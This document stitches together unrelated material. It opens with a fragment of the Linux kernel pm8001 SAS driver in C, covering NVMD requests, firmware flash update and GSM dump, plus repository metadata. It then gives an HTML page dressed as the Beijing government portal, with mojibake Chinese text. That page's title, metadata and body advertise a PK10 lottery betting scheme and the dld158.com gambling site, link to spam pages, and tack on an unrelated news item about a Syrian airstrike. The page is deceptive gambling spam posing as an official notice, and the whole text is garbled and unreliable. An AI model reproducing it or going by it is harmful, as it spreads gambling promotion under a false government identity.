cpu_to_le32(pm8001_ha->memoryMap.region[NVMD].phys_addr_hi);
nvmd_req.resp_addr_lo =
cpu_to_le32(pm8001_ha->memoryMap.region[NVMD].phys_addr_lo);
break;
}
default:
break;
}
rc = pm8001_mpi_build_cmd(pm8001_ha, circularQ, opc, &nvmd_req, 0);
if (rc) {
kfree(fw_control_context);
pm8001_tag_free(pm8001_ha, tag);
}
return rc;
}
int pm8001_chip_set_nvmd_req(struct pm8001_hba_info *pm8001_ha,
void *payload)
{
u32 opc = OPC_INB_SET_NVMD_DATA;
u32 nvmd_type;
int rc;
u32 tag;
struct pm8001_ccb_info *ccb;
struct inbound_queue_table *circularQ;
struct set_nvm_data_req nvmd_req;
struct fw_control_ex *fw_control_context;
struct pm8001_ioctl_payload *ioctl_payload = payload;
nvmd_type = ioctl_payload->minor_function;
fw_control_context = kzalloc(sizeof(struct fw_control_ex), GFP_KERNEL);
if (!fw_control_context)
return -ENOMEM;
circularQ = &pm8001_ha->inbnd_q_tbl[0];
memcpy(pm8001_ha->memoryMap.region[NVMD].virt_ptr,
&ioctl_payload->func_specific,
ioctl_payload->length);
memset(&nvmd_req, 0, sizeof(nvmd_req));
rc = pm8001_tag_alloc(pm8001_ha, &tag);
if (rc) {
kfree(fw_control_context);
return -EBUSY;
}
ccb = &pm8001_ha->ccb_info[tag];
ccb->fw_control_context = fw_control_context;
ccb->ccb_tag = tag;
nvmd_req.tag = cpu_to_le32(tag);
switch (nvmd_type) {
case TWI_DEVICE: {
u32 twi_addr, twi_page_size;
twi_addr = 0xa8;
twi_page_size = 2;
nvmd_req.reserved[0] = cpu_to_le32(0xFEDCBA98);
nvmd_req.len_ir_vpdd = cpu_to_le32(IPMode | twi_addr << 16 |
twi_page_size << 8 | TWI_DEVICE);
nvmd_req.resp_len = cpu_to_le32(ioctl_payload->length);
nvmd_req.resp_addr_hi =
cpu_to_le32(pm8001_ha->memoryMap.region[NVMD].phys_addr_hi);
nvmd_req.resp_addr_lo =
cpu_to_le32(pm8001_ha->memoryMap.region[NVMD].phys_addr_lo);
break;
}
case C_SEEPROM:
nvmd_req.len_ir_vpdd = cpu_to_le32(IPMode | C_SEEPROM);
nvmd_req.resp_len = cpu_to_le32(ioctl_payload->length);
nvmd_req.reserved[0] = cpu_to_le32(0xFEDCBA98);
nvmd_req.resp_addr_hi =
cpu_to_le32(pm8001_ha->memoryMap.region[NVMD].phys_addr_hi);
nvmd_req.resp_addr_lo =
cpu_to_le32(pm8001_ha->memoryMap.region[NVMD].phys_addr_lo);
break;
case VPD_FLASH:
nvmd_req.len_ir_vpdd = cpu_to_le32(IPMode | VPD_FLASH);
nvmd_req.resp_len = cpu_to_le32(ioctl_payload->length);
nvmd_req.reserved[0] = cpu_to_le32(0xFEDCBA98);
nvmd_req.resp_addr_hi =
cpu_to_le32(pm8001_ha->memoryMap.region[NVMD].phys_addr_hi);
nvmd_req.resp_addr_lo =
cpu_to_le32(pm8001_ha->memoryMap.region[NVMD].phys_addr_lo);
break;
case EXPAN_ROM:
nvmd_req.len_ir_vpdd = cpu_to_le32(IPMode | EXPAN_ROM);
nvmd_req.resp_len = cpu_to_le32(ioctl_payload->length);
nvmd_req.reserved[0] = cpu_to_le32(0xFEDCBA98);
nvmd_req.resp_addr_hi =
cpu_to_le32(pm8001_ha->memoryMap.region[NVMD].phys_addr_hi);
nvmd_req.resp_addr_lo =
cpu_to_le32(pm8001_ha->memoryMap.region[NVMD].phys_addr_lo);
break;
default:
break;
}
rc = pm8001_mpi_build_cmd(pm8001_ha, circularQ, opc, &nvmd_req, 0);
if (rc) {
kfree(fw_control_context);
pm8001_tag_free(pm8001_ha, tag);
}
return rc;
}
/**
* pm8001_chip_fw_flash_update_build - support the firmware update operation
* @pm8001_ha: our hba card information.
* @fw_flash_updata_info: firmware flash update param
*/
int
pm8001_chip_fw_flash_update_build(struct pm8001_hba_info *pm8001_ha,
void *fw_flash_updata_info, u32 tag)
{
struct fw_flash_Update_req payload;
struct fw_flash_updata_info *info;
struct inbound_queue_table *circularQ;
int ret;
u32 opc = OPC_INB_FW_FLASH_UPDATE;
memset(&payload, 0, sizeof(struct fw_flash_Update_req));
circularQ = &pm8001_ha->inbnd_q_tbl[0];
info = fw_flash_updata_info;
payload.tag = cpu_to_le32(tag);
payload.cur_image_len = cpu_to_le32(info->cur_image_len);
payload.cur_image_offset = cpu_to_le32(info->cur_image_offset);
payload.total_image_len = cpu_to_le32(info->total_image_len);
payload.len = info->sgl.im_len.len ;
payload.sgl_addr_lo =
cpu_to_le32(lower_32_bits(le64_to_cpu(info->sgl.addr)));
payload.sgl_addr_hi =
cpu_to_le32(upper_32_bits(le64_to_cpu(info->sgl.addr)));
ret = pm8001_mpi_build_cmd(pm8001_ha, circularQ, opc, &payload, 0);
return ret;
}
int
pm8001_chip_fw_flash_update_req(struct pm8001_hba_info *pm8001_ha,
void *payload)
{
struct fw_flash_updata_info flash_update_info;
struct fw_control_info *fw_control;
struct fw_control_ex *fw_control_context;
int rc;
u32 tag;
struct pm8001_ccb_info *ccb;
void *buffer = pm8001_ha->memoryMap.region[FW_FLASH].virt_ptr;
dma_addr_t phys_addr = pm8001_ha->memoryMap.region[FW_FLASH].phys_addr;
struct pm8001_ioctl_payload *ioctl_payload = payload;
fw_control_context = kzalloc(sizeof(struct fw_control_ex), GFP_KERNEL);
if (!fw_control_context)
return -ENOMEM;
fw_control = (struct fw_control_info *)&ioctl_payload->func_specific;
memcpy(buffer, fw_control->buffer, fw_control->len);
flash_update_info.sgl.addr = cpu_to_le64(phys_addr);
flash_update_info.sgl.im_len.len = cpu_to_le32(fw_control->len);
flash_update_info.sgl.im_len.e = 0;
flash_update_info.cur_image_offset = fw_control->offset;
flash_update_info.cur_image_len = fw_control->len;
flash_update_info.total_image_len = fw_control->size;
fw_control_context->fw_control = fw_control;
fw_control_context->virtAddr = buffer;
fw_control_context->phys_addr = phys_addr;
fw_control_context->len = fw_control->len;
rc = pm8001_tag_alloc(pm8001_ha, &tag);
if (rc) {
kfree(fw_control_context);
return -EBUSY;
}
ccb = &pm8001_ha->ccb_info[tag];
ccb->fw_control_context = fw_control_context;
ccb->ccb_tag = tag;
rc = pm8001_chip_fw_flash_update_build(pm8001_ha, &flash_update_info,
tag);
return rc;
}
ssize_t
pm8001_get_gsm_dump(struct device *cdev, u32 length, char *buf)
{
u32 value, rem, offset = 0, bar = 0;
u32 index, work_offset, dw_length;
u32 shift_value, gsm_base, gsm_dump_offset;
char *direct_data;
struct Scsi_Host *shost = class_to_shost(cdev);
struct sas_ha_struct *sha = SHOST_TO_SAS_HA(shost);
struct pm8001_hba_info *pm8001_ha = sha->lldd_ha;
direct_data = buf;
gsm_dump_offset = pm8001_ha->fatal_forensic_shift_offset;
/* check max is 1 Mbytes */
if ((length > 0x100000) || (gsm_dump_offset & 3) ||
((gsm_dump_offset + length) > 0x1000000))
return -EINVAL;
if (pm8001_ha->chip_id == chip_8001)
bar = 2;
else
bar = 1;
work_offset = gsm_dump_offset & 0xFFFF0000;
offset = gsm_dump_offset & 0x0000FFFF;
gsm_dump_offset = work_offset;
/* adjust length to dword boundary */
rem = length & 3;
dw_length = length >> 2;
for (index = 0; index < dw_length; index++) {
if ((work_offset + offset) & 0xFFFF0000) {
if (pm8001_ha->chip_id == chip_8001)
shift_value = ((gsm_dump_offset + offset) &
SHIFT_REG_64K_MASK);
else
shift_value = (((gsm_dump_offset + offset) &
SHIFT_REG_64K_MASK) >>
SHIFT_REG_BIT_SHIFT);
if (pm8001_ha->chip_id == chip_8001) {
gsm_base = GSM_BASE;
if (-1 == pm8001_bar4_shift(pm8001_ha,
(gsm_base + shift_value)))
return -EIO;
} else {
gsm_base = 0;
if (-1 == pm80xx_bar4_shift(pm8001_ha,
(gsm_base + shift_value)))
return -EIO;
}
gsm_dump_offset = (gsm_dump_offset + offset) &
0xFFFF0000;
work_offset = 0;
offset = offset & 0x0000FFFF;
}
value = pm8001_cr32(pm8001_ha, bar, (work_offset + offset) &
0x0000FFFF);
direct_data += sprintf(direct_data, "%08x ", value);
offset += 4;
}
if (rem != 0) {
value = pm8001_cr32(pm8001_ha, bar, (work_offset + offset) &
0x0000FFFF);
/* xfr for non_dw */
direct_data += sprintf(direct_data, "%08x ", value);
}
/* Shift back to BAR4 original address */
if (-1 == pm8001_bar4_shift(pm8001_ha, 0))
return -EIO;
pm8001_ha->fatal_forensic_shift_offset += 1024;
if (pm8001_ha->fatal_forensic_shift_offset >= 0x100000)
pm8001_ha->fatal_forensic_shift_offset = 0;
return direct_data - buf;
}
int
pm8001_chip_set_dev_state_req(struct pm8001_hba_info *pm8001_ha,
struct pm8001_device *pm8001_dev, u32 state)
{
struct set_dev_state_req payload;
struct inbound_queue_table *circularQ;
struct pm8001_ccb_info *ccb;
int rc;
u32 tag;
u32 opc = OPC_INB_SET_DEVICE_STATE;
memset(&payload, 0, sizeof(payload));
rc = pm8001_tag_alloc(pm8001_ha, &tag);
if (rc)
return -1;
ccb = &pm8001_ha->ccb_info[tag];
ccb->ccb_tag = tag;
ccb->device = pm8001_dev;
circularQ = &pm8001_ha->inbnd_q_tbl[0];
payload.tag = cpu_to_le32(tag);
payload.device_id = cpu_to_le32(pm8001_dev->device_id);
payload.nds = cpu_to_le32(state);
rc = pm8001_mpi_build_cmd(pm8001_ha, circularQ, opc, &payload, 0);
return rc;
}
static int
pm8001_chip_sas_re_initialization(struct pm8001_hba_info *pm8001_ha)
{
struct sas_re_initialization_req payload;
struct inbound_queue_table *circularQ;
struct pm8001_ccb_info *ccb;
int rc;
u32 tag;
u32 opc = OPC_INB_SAS_RE_INITIALIZE;
memset(&payload, 0, sizeof(payload));
rc = pm8001_tag_alloc(pm8001_ha, &tag);
if (rc)
return -ENOMEM;
ccb = &pm8001_ha->ccb_info[tag];
ccb->ccb_tag = tag;
circularQ = &pm8001_ha->inbnd_q_tbl[0];
payload.tag = cpu_to_le32(tag);
payload.SSAHOLT = cpu_to_le32(0xd << 25);
payload.sata_hol_tmo = cpu_to_le32(80);
payload.open_reject_cmdretries_data_retries = cpu_to_le32(0xff00ff);
rc = pm8001_mpi_build_cmd(pm8001_ha, circularQ, opc, &payload, 0);
if (rc)
pm8001_tag_free(pm8001_ha, tag);
return rc;
}
const struct pm8001_dispatch pm8001_8001_dispatch = {
.name = "pmc8001",
.chip_init = pm8001_chip_init,
.chip_soft_rst = pm8001_chip_soft_rst,
.chip_rst = pm8001_hw_chip_rst,
.chip_iounmap = pm8001_chip_iounmap,
.isr = pm8001_chip_isr,
.is_our_interupt = pm8001_chip_is_our_interupt,
.isr_process_oq = process_oq,
.interrupt_enable = pm8001_chip_interrupt_enable,
.interrupt_disable = pm8001_chip_interrupt_disable,
.make_prd = pm8001_chip_make_sg,
.smp_req = pm8001_chip_smp_req,
.ssp_io_req = pm8001_chip_ssp_io_req,
.sata_req = pm8001_chip_sata_req,
.phy_start_req = pm8001_chip_phy_start_req,
.phy_stop_req = pm8001_chip_phy_stop_req,
.reg_dev_req = pm8001_chip_reg_dev_req,
.dereg_dev_req = pm8001_chip_dereg_dev_req,
.phy_ctl_req = pm8001_chip_phy_ctl_req,
.task_abort = pm8001_chip_abort_task,
.ssp_tm_req = pm8001_chip_ssp_tm_req,
.get_nvmd_req = pm8001_chip_get_nvmd_req,
.set_nvmd_req = pm8001_chip_set_nvmd_req,
.fw_flash_update_req = pm8001_chip_fw_flash_update_req,
.set_dev_state_req = pm8001_chip_set_dev_state_req,
.sas_re_init_req = pm8001_chip_sas_re_initialization,
};
|
cneira/ebpf-backports
|
linux-3.10.0-514.21.1.el7.x86_64/drivers/scsi/pm8001/pm8001_hwi.c
|
C
|
gpl-2.0
| 166,217
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible"content="IE=9; IE=8; IE=7; IE=EDGE">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="descRiPTion" content="±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®»¶Ó´ó¼ÒÀ´µ½dld158.comÓéÀÖÆ½Ì¨" />
<title>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®_±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®-dld158ÓéÀÖ{°Ù¶ÈÐÂÎÅ}°Ù¶ÈÈÏÖ¤</title>
<!--ÈÈÁ¦Í¼¿ªÊ¼-->
<meta name="uctk" content="enabled">
<!--ÈÈÁ¦Í¼½áÊø-->
<meta name="keywords" content="±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®"/>
<meta name="descRiPTion" content="»¶Ó´ó¼ÒÀ´µ½dld158.comÓéÀÖÆ½Ì¨"/>
<meta name="sitename" content="Ê×¶¼Ö®´°-±±¾©ÊÐÕþÎñÃÅ»§ÍøÕ¾">
<meta name="siteurl" content="http://www.beijing.gov.cn">
<meta name="district" content="±±¾©" >
<meta name="filetype" content="0">
<meta name="publishedtype" content="1">
<meta name="pagetype" content="2">
<meta name="subject" content="28428;1">
<!-- Le styles -->
<link href="http://www.beijing.gov.cn/images/zhuanti/xysym/bootstrap150609.css" rel="stylesheet">
<link href="http://www.beijing.gov.cn/images/zhuanti/xysym/bootstrap-responsive150609.css" rel="stylesheet">
<style>
body {
background:#E8E8E8; /* 60px to make the container go all the way to the bottom of the topbar */
}
.navbar .btn-navbar { position:absolute; right:0; margin-top:50px;}
#othermessage p {width:50%;}
#othermessage dl { width:50%;}
#breadcrumbnav ul { width:100%;}
#breadcrumbnav ul li { line-height:14px; font-family:"ËÎÌå"; padding:0px 10px; margin:0; background:none; }
#othermessage span { padding:0px 10px;}
#footer { margin:20px -20px 0px -20px;}
.navbar .nav li a { font-family:"Microsoft YaHei";}
#div_zhengwen { font-family:"SimSun";}
#div_zhengwen p{ font-family:"SimSun"; padding:0;}
select { width:75px; float:left; height:35px;}
.search .input{ border:1px solid #c1c1c1; width:290px;}
.bdsharebuttonbox { float:left; width:80%;}
.navbar .nav li a { padding: 10px 48px 11px 49px;}
.nav_weather span { float:right;}
#footer { position:absolute; left:0; right:0; margin:20px 0 0 0;}
#essaybottom {font-family:"simsun"; }
#pic { text-align:center; }
#pic ul { padding-top:10px; display:none; }
#pic li {font-family:"SimSun";}
.content_text h1 {line-height:150%;}
.version { float:right; padding:48px 50px 0 0}
.search { padding: 50px 0 0 70px;}
.nav_weather a { font-family:simsun;}
.version li a { font-family:simsun;}
.footer-class { font-family:simsun;}
@media only screen and (max-width: 480px)
{
#pic img { width:100%;}
}
@media only screen and (max-width: 320px)
{
#pic img { width:100%;}
}
@media only screen and (max-width: 640px)
{
#pic img { width:100%;}
}
#filerider .filelink {font-family:"SimSun";}
#filerider .filelink a:link { color:#0000ff; font-family:"SimSun";}
</style>
<scRiPT type="text/javascRiPT">
var pageName = "t1424135";
var pageExt = "htm";
var pageIndex = 0 + 1;
var pageCount = 1;
function getCurrentPage() {
document.write(pageIndex);
}
function generatePageList() {
for (i=0;i<1;i++) {
var curPage = i+1;
document.write('<option value=' + curPage);
if (curPage == pageIndex)
document.write(' selected');
document.write('>' + curPage + '</option>');
}
}
function preVious(n) {
if (pageIndex == 1) {
alert('ÒѾÊÇÊ×Ò³£¡');
} else {
getPageLocation(pageIndex-1);
}
}
function next(n) {
if (pageIndex == pageCount) {
alert('ÒѾÊÇβҳ£¡');
} else {
nextPage(pageIndex);
}
}
function nextPage(page) {
var gotoPage = "";
if (page == 0) {
gotoPage = pageName + "." + pageExt;
} else {
gotoPage = pageName + "_" + page + "." + pageExt;
}
location.href = gotoPage;
}
function getPageLocation(page) {
var gotoPage = "";
var tpage;
if (page == 1) {
gotoPage = pageName + "." + pageExt;
} else {
tpage=page-1;
gotoPage = pageName + "_" + tpage + "." + pageExt;
}
location.href = gotoPage;
}
</scRiPT>
<SCRIPT type=text/javascRiPT>
function $(xixi) {
return document.getElementById(xixi);
}
//ת»»×ÖºÅ
function doZoom(size){
if(size==12){
$("contentText").style.fontSize = size + "px";
$("fs12").style.display = "";
$("fs14").style.display = "none";
$("fs16").style.display = "none";
}
if(size==14){
$("contentText").style.fontSize = size + "px";
$("fs12").style.display = "none";
$("fs14").style.display = "";
$("fs16").style.display = "none";
}
if(size==16){
$("contentText").style.fontSize = size + "px";
$("fs12").style.display = "none";
$("fs14").style.display = "none";
$("fs16").style.display = "";
}
}
</SCRIPT>
<!-- Le HTML5 shim, for IE6-8 support of HTML5 elements -->
<!--[if lt IE 9]>
<scRiPT src="//html5shim.googlecode.com/svn/trunk/html5.js"></scRiPT>
<![endif]-->
<!-- Le fav and touch icons -->
<link rel="shortcut icon" href="images/favicon.ico">
<link rel="apple-touch-icon" href="images/apple-touch-icon.png">
<link rel="apple-touch-icon" sizes="72x72" href="images/apple-touch-icon-72x72.png">
<link rel="apple-touch-icon" sizes="114x114" href="images/apple-touch-icon-114x114.png">
<scRiPT type="text/javascRiPT">
window.onload = function(){
var picurl = [
"",
"",
"",
"",
"",
"",
"",
"",
"",
""
];
var i=0;
for(i=0;i<picurl.length;i++)
{
picurl[i].index=i;
if(picurl[i]!="")
{
document.getElementById("pic_"+i).style.display = "block";
}
}
}
</scRiPT>
</head>
<body>
<div class="navbar navbar-fixed-top">
<div class="navbar-inner">
<div class="nav_weather">
<div class="container"><a href="http://zhengwu.beijing.gov.cn/sld/swld/swsj/t1232150.htm" title="ÊÐί" target="_blank">ÊÐί</a> | <a href="http://www.bjrd.gov.cn/" title="ÊÐÈË´ó" target="_blank">ÊÐÈË´ó</a> | <a href="http://www.beijing.gov.cn/" title="ÊÐÕþ¸®" target="_blank">ÊÐÕþ¸®</a> | <a href="http://www.bjzx.gov.cn/" title="ÊÐÕþÐ" target="_blank">ÊÐÕþÐ</a></div>
</div>
<div class="container">
<a class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</a>
<div class="span12">
<a class="brand" href="http://www.beijing.gov.cn/"><img src="http://www.beijing.gov.cn/images/zhuanti/xysym/logo.png" /></a>
<div class="search">
<scRiPT language="JavaScript" type="text/javascRiPT">
function checkForm(){
var temp = searchForm.temp.value;
var database = searchForm.database.value;
if(temp==null || temp==""){
alert("ÇëÊäÈëËÑË÷Ìõ¼þ");
}
else{
var url="http://so.beijing.gov.cn/Query?qt="+encodeURIComponent(temp)+"&database="+encodeURIComponent(database);
window.open(url);
}
return false;
}
</scRiPT>
<form id="search" method="get" name="searchForm" action="" target="_blank" onSubmit="return checkForm()">
<input type="hidden" value="bj" id="database" name="database" />
<input name="temp" id="keyword" type="text" value="È«ÎÄËÑË÷" class="input" title="È«ÎÄËÑË÷¹Ø¼ü×Ö" />
<input id="searchbutton" type="image" src="http://www.beijing.gov.cn/images/zhuanti/xysym/search_btn.gif" width="66" height="35" title="µã»÷ËÑË÷" alt="ËÑË÷" />
</form>
</div>
<div class="version"><ul>
<li><a title="ÎÞÕϰ" href="http://wza.beijing.gov.cn/" target="_blank" id="yx_style_nav">ÎÞÕϰ</a></li>
<li><a target="_blank" title="·±Ìå°æ" href="http://210.75.193.158/gate/big5/www.beijing.gov.cn">·±Ìå</a></li>
<li><a target="_blank" title="¼òÌå°æ" href="http://www.beijing.gov.cn">¼òÌå</a></li>
<li class="last"><a target="_blank" title="English Version" href="http://www.ebeijing.gov.cn">English</a></li></ul><ul>
<li><a href="javascRiPT:void(0)" onclick="SetHome(this,window.location)" title="ÉèΪÊ×Ò³">ÉèΪÊ×Ò³</a></li>
<li><a title="¼ÓÈëÊÕ²Ø" href="javascRiPT:void(0)" onclick="shoucang(document.title,window.location)">¼ÓÈëÊÕ²Ø</a></li>
<li class="last"><a target="_blank" title="ÒÆ¶¯°æ" href="http://www.beijing.gov.cn/sjbsy/">ÒÆ¶¯°æ</a></li></ul></div>
</div>
</div>
<div class="nav-collapse">
<div class="container">
<ul class="nav">
<li ><a href="http://www.beijing.gov.cn/" class="normal" title="Ê×Ò³">Ê×Ò³</a></li>
<li><a href="http://zhengwu.beijing.gov.cn/" class="normal" title="ÕþÎñÐÅÏ¢">ÕþÎñÐÅÏ¢</a></li>
<li><a href="http://www.beijing.gov.cn/sqmy/default.htm" class="normal" title="ÉçÇéÃñÒâ">ÉçÇéÃñÒâ</a></li>
<li><a href="http://banshi.beijing.gov.cn" class="normal" title="ÕþÎñ·þÎñ">ÕþÎñ·þÎñ</a></li>
<li><a href="http://www.beijing.gov.cn/bmfw" class="normal" title="±ãÃñ·þÎñ">±ãÃñ·þÎñ</a></li>
<li style="background:none;"><a href="http://www.beijing.gov.cn/rwbj/default.htm" class="normal" title="ÈËÎı±¾©">ÈËÎı±¾©</a></li>
</ul>
</div>
</div><!--/.nav-collapse -->
</div>
</div>
</div>
<div class="container" style="background:#fff; margin-top:24px;">
<div class="content_text">
<div id="breadcrumbnav">
<ul>
<li>Ê×Ò³¡¡>¡¡±ãÃñ·þÎñ¡¡>¡¡×îÐÂÌáʾ</li>
</ul>
<div class="clearboth"></div>
</div>
<h1>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®
<div id="othermessage">
<p>
<span>À´Ô´£º±±¾©ÈÕ±¨</span>
<span>ÈÕÆÚ£º2017-04-21 13:50:19</span></p>
<dl>
<scRiPT language='JavaScript' type="text/javascRiPT">
function changeSize(size){document.getElementById('div_zhengwen').style.fontSize=size+'px'}</scRiPT>
¡¾×ֺŠ<a href='javascRiPT:changeSize(18)' style="font-size:16px;">´ó</a> <a href='javascRiPT:changeSize(14)' style="font-size:14px;">ÖÐ</a> <a href='javascRiPT:changeSize(12)' style="font-size:12px;">С</a>¡¿</dl>
</div>
</h1>
<div id="div_zhengwen">
<div id="pic">
<ul id="pic_0">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_1">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_2">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_3">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_4">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_5">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_6">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_7">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_8">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
<ul id="pic_9">
<li><img src="" border="0" alt="" title="" /></li>
<li></li>
</ul>
</div>
<div class=TRS_Editor><p align="justify">¡¡¡¡±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»® »¶Ó´ó¼ÒÀ´µ½dld158.comÓéÀÖÆ½Ì¨</p>
<img src="{img}" width="300" height="330"/>
<p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/po/q9082701.html">±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®</a></p>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®
<p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/po/q4541945.html">±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®</a></p>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®
<p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/po/q3461016.html">±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®</a></p>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®
<p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/po/q0452390.html">±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®</a></p>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®
<p align="justify">¡¡¡¡<a href="http://sapience.com.tw/logs/po/q8492259.html">±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®</a></p>±±¾©Èü³µpk10Ö®°ËÂë¹öÑ©Çò¼Æ»®
<p align="justify">¡¡¡¡¡¡¡¡Ð»ªÉ绪ʢ¶Ù4ÔÂ13Èյ磨¼ÇÕß½¼Ñ·É¡¡Öܶø½Ý£©ÃÀ¾üÖÐÑë˾Á13ÈÕ±íʾ£¬ÃÀ¹úÖ÷µ¼µÄ¹ú¼ÊÁªÃËÔÚ½üÈÕÒ»´Î¿ÕÏ®ÖÐÎóÕ¨£¬ÖÂ18ÃûÃÀ¹úÖ§³ÖµÄÐðÀûÑÇ¿â¶ûµÂÎä×°¡°ÐðÀûÑÇÃñÖ÷¾ü¡±ÈËÔ±ËÀÍö¡£<br><br>¡¡¡¡ÃÀ¾üÖÐÑë˾Áµ±ÌìÔÚÒ»·ÝÉùÃ÷ÖÐ˵£¬¹ú¼ÊÁªÃË11ÈÕ¶Ô¼«¶Ë×éÖ¯¡°ÒÁ˹À¼¹ú¡±ÔÚÐðÀûÑǵĴó±¾ÓªÀ¿¨ÒÔÎ÷µÄËþ²·¿¨µÄÒ»´¦µØµãʵʩ¿ÕÏ®¡£±»¿ÕÏ®µØµãʺóÖ¤Ã÷ÊÇ¡°ÐðÀûÑÇÃñÖ÷¾ü¡±ËùÔڵأ¬18Ãû¸Ã×éÖ¯Îä×°ÈËÔ±ÔÚ¿ÕÏ®ÖÐËÀÍö¡£<br><br>¡¡¡¡Ä¿Ç°Ôݲ»Çå³þ´Ë´Î¿ÕÏ®ÊÇÓÉÃÀ¾ü»¹Êǹú¼ÊÁªÃËµÄÆäËû³ÉԱʵʩ¡£<br><br>¡¡¡¡2014Äê9Ô£¬ÃÀ¹úµÈ¹ú×齨¹ú¼ÊÁªÃË£¬¶ÔÐðÀûÑǺÍÒÁÀ¿Ë¾³Äڵġ°ÒÁ˹À¼¹ú¡±Ä¿±êʵʩ¿ÕÏ®¡£ÐðÀûÑÇÕþ¸®ÈÏΪ´Ë¾Ùδ¾ÁªºÏ¹ú°²Àí»áÊÚȨ£¬²¢Ö¸ÔðÃÀ¹úÖ÷µ¼µÄ¿ÕÏ®Ðж¯µ¼Ö´óÁ¿ÐðƽÃñËÀÉË¡£<br><br>¡¡¡¡×÷ÕߣºÂ½¼Ñ·É Öܶø½Ý (À´Ô´£ºÐ»ªÉç)<SCRIPT>media_span_url('http://news.xinhuanet.com/world/2017-04/14/c_1120806745.htm')</SCRIPT</p></div>
<div id="filerider">
<div class="filelink" style="margin:10px 0 0 0;"><a href="./P020160207382291268334.doc">¸½¼þ£º2016Äê±±¾©µØÇø²©Îï¹Ý´º½ÚϵÁлһÀÀ±í</a></div>
</div>
</div>
<div id="essaybottom" style="border:0; overflow:hidden; margin-bottom:0;">
<div style="padding-bottom:8px;" id="proclaim"><p style="float:left; line-height:30px;">·ÖÏíµ½£º</p><div class="bdsharebuttonbox"><a href="#" class="bds_more" data-cmd="more"></a><a href="#" class="bds_qzone" data-cmd="qzone"></a><a href="#" class="bds_tsina" data-cmd="tsina"></a><a href="#" class="bds_tqq" data-cmd="tqq"></a><a href="#" class="bds_renren" data-cmd="renren"></a><a href="#" class="bds_weixin" data-cmd="weixin"></a></div>
<scRiPT>window._bd_share_config={"common":{"bdSnsKey":{},"bdText":"","bdMini":"2","bdPic":"","bdStyle":"0","bdSize":"16"},"share":{},"image":{"viewList":["qzone","tsina","tqq","renren","weixin"],"viewText":"·ÖÏíµ½£º","viewSize":"16"},"selectShare":{"bdContainerClass":null,"bdSelectMiniList":["qzone","tsina","tqq","renren","weixin"]}};with(document)0[(getElementsByTagName('head')[0]||body).appendChild(createElement('scRiPT')).src='http://bdimg.share.baidu.com/static/api/js/share.js?v=89860593.js?cdnversion='+~(-new Date()/36e5)];</scRiPT></div>
</div>
<div id="essaybottom" style="margin-top:0;">
<div style="padding-bottom:8px;" id="proclaim">תժÉùÃ÷£º×ªÕªÇë×¢Ã÷³ö´¦²¢×ö»ØÁ´</div>
</div>
</div>
</div>
<!-- /container -->
<div id="footer">
<div class="container">
<div class="span1" style="text-align:center"><scRiPT type="text/javascRiPT">document.write(unescape("%3Cspan id='_ideConac' %3E%3C/span%3E%3CscRiPT src='http://dcs.conac.cn/js/01/000/0000/60429971/CA010000000604299710004.js' type='text/javascRiPT'%3E%3C/scRiPT%3E"));</scRiPT></div>
<div class="span8">
<div class="footer-top">
<div class="footer-class">
<p> <a title="¹ØÓÚÎÒÃÇ" href="http://www.beijing.gov.cn/zdxx/sdzcjs/t1306339.htm" style=" background:0">¹ØÓÚÎÒÃÇ</a><a target="_blank" title="Õ¾µãµØÍ¼" href="http://www.beijing.gov.cn/zdxx/sdzcjs/t1306342.htm">Õ¾µãµØÍ¼</a><a target="_blank" title="ÁªÏµÎÒÃÇ" href="http://www.beijing.gov.cn/zdxx/sdzcjs/t1306343.htm">ÁªÏµÎÒÃÇ</a><a target="_blank" title="ÆÀ¼ÛÊ×¶¼Ö®´°" href="mailto:service@beijing.gov.cn">ÆÀ¼ÛÊ×¶¼Ö®´°</a><a target="_blank" title="·¨ÂÉÉùÃ÷" href="http://www.beijing.gov.cn/zdxx/t709204.htm">·¨ÂÉÉùÃ÷</a> </p>
